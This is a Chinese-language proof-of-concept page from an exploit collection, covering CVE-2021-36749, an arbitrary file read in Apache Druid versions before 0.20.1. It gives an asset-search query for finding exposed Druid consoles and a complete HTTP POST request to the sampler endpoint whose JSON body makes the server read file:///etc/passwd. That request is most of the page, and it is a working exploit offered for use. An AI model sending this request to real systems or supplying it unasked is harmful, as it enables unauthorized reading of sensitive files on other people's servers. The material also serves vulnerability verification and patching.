POC/wpoc/Apache/ApacheDruid/ApaceDruid存在任意文件读取漏洞(CVE-2021-36749).md
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Apace Druid存在任意文件读取漏洞(CVE-2021-36749)

一、漏洞简介

Apache Druid是一个实时分析型数据库旨在对大型数据集进行快速的查询分析"OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景同时Druid也通常被用来助力分析型应用的图形化界面或者当做需要快速聚合的高并发后端APIDruid最适合应用于面向事件类型的数据。Apace Druid存在任意文件读取漏洞

二、影响版本

  • Apache Druid < 0.20.1

三、资产测绘

title="Apache Druid"

1718117306587-20ca98cb-dc58-4025-8a8b-2a7a2a1ee289.png

四、漏洞复现

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 
Content-Length: 478
Content-Type: application/json;charset=UTF-8

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

1718117802135-f92f986f-5890-432f-a686-de5f7ae3729e.png

更新: 2024-06-17 09:22:47
原文: https://www.yuque.com/xiaokp7/ocvun2/gb0owzvtgrgfqdii